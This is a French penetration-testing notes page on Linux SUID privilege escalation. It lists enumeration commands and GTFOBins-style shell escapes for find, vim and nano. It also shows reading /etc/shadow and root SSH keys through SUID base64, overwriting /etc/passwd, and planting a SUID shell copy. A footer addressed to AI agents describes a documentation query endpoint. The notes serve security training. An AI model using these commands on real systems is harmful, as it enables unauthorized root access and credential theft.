> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/suid.md). # SUID Les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root. Un binaire SUID vulnérable, obsolète ou trop flexible peut lire des fichiers protégés, lancer un shell privilégié ou exécuter du code contrôlé par un attaquant. ## Méthodologie * Énumérez les binaires SUID et comparez les entrées inhabituelles avec GTFOBins. * Donnez la priorité aux binaires personnalisés, aux anciennes versions, aux dépendances inscriptibles et aux binaires situés en dehors des chemins système standards. * Testez les primitives de lecture, d’écriture, d’exécution de commandes et de chargement de bibliothèques avant d’exécuter des charges utiles destructrices. ## Vérifications rapides ```bash find / -perm -4000 -type f 2>/dev/null find / -type f -perm -4000 -ls 2>/dev/null find / -type f -perm -2000 -ls 2>/dev/null find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null ``` ## Triage SUID et SGID SUID exécute le binaire avec les privilèges du propriétaire du fichier, tandis que SGID l’exécute avec les privilèges du groupe du fichier. Après l’énumération, comparez les binaires inhabituels avec [GTFOBins](https://gtfobins.github.io/) et donnez la priorité aux chemins personnalisés, aux répertoires inscriptibles et aux binaires appartenant à root. Vérifications rapides utiles : ```bash find / -type f -perm -4000 -ls 2>/dev/null find / -type f -perm -2000 -ls 2>/dev/null find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null ``` Exemples courants de type GTFOBins : ```bash find . -exec /bin/sh -p \; -quit ``` Pour `nano`, utilisez `Ctrl+R`, puis `Ctrl+X`, puis exécutez : ``` reset; sh 1>&0 2>&0 ``` Pour `vim`: ```bash vim -c ':shell' vim -c ':!/bin/sh' ``` Si un flux de travail de copie SUID/privilégiée peut écraser des fichiers sensibles, validez soigneusement la primitive d’écriture avant de toucher aux fichiers de production : ```bash cp /tmp/malicious_passwd /etc/passwd ``` Si `base64` est SUID, utilisez-le comme primitive de lecture plutôt que comme primitive de shell : ```bash ls -la /usr/bin/base64 /usr/bin/base64 /etc/shadow | base64 --decode /usr/bin/base64 /root/.ssh/id_rsa | base64 --decode /usr/bin/base64 /var/log/auth.log | base64 --decode ``` Si `cp` est SUID, vérifiez s’il peut créer ou préserver une copie privilégiée : ```bash cp /bin/sh /tmp/sh chmod +s /tmp/sh /tmp/sh -p ``` Binaires SUID/SGID courants à examiner : | Binaire | Pourquoi vérifier | | ----------------------------------------------------- | --------------------------------------------------------------------------- | | `sudo` / `su` | Outils directs de franchissement de la frontière de privilège. | | `passwd`, `chsh`, `newgrp`, `gpasswd` | Outils d’aide à la modification des comptes et des groupes. | | `at` | Exécution planifiée de commandes. | | `mount`, `umount` | Accès au système de fichiers et options de montage. | | `pkexec` | Utilitaire Polkit, historiquement affecté par PwnKit. | | `base64` | Lire des fichiers protégés et les décoder localement. | | `cp` | Copier ou écraser des fichiers lorsque les permissions le permettent. | | `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | Primitives de shell, de lecture ou d’écriture de fichiers de type GTFOBins. | | `nmap` | Mode interactif hérité ou chemins d’exécution de scripts. |

:id-card:

SUID pkexec / PwnKit

Notes SUID (Pkexec) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/6ec01c3eba888f407185ca3a5b05d98d09f54e4f

:id-card:

SUID Base64

Notes SUID (Base64) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/f9778b3b824c216a01516adec1c80e16d04adc53

:id-card:

SUID PHP

Notes SUID (PHP) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/cb139bc59f63f7190eeea2bd93ceddf0bfe1330a

:id-card:

Dump mémoire SUID /opt/count

Notes SUID - Dump mémoire (/opt/count) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/cf1b4255d31c6ffdfab8b4661da1cb8f270145e3

:id-card:

Fichier manquant SUID

Notes sur le binaire SUID (fichier manquant) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/78f0e24985f06e599eec98aa73300ccb431efb21

:id-card:

SUID screen

Notes SUID (screen) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/caeb7f757de18c6628942a6b4c2b3c9180ea9a44

:id-card:

SUID Nmap

Notes SUID (Nmap) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/05e8b8e57269f01c6a5a12f304254dba1ade8960

:id-card:

Binaire de sauvegarde SUID

Notes sur le binaire SUID (sauvegarde) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/418e1eadbd5ae845236eda4c075b5936f16837e5

:id-card:

SUID Enlightenment

Notes SUID (Enlightenment) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting./pages/118200291ca695161feab12584105b7b4e9d6bdb
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/privesc/suid.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.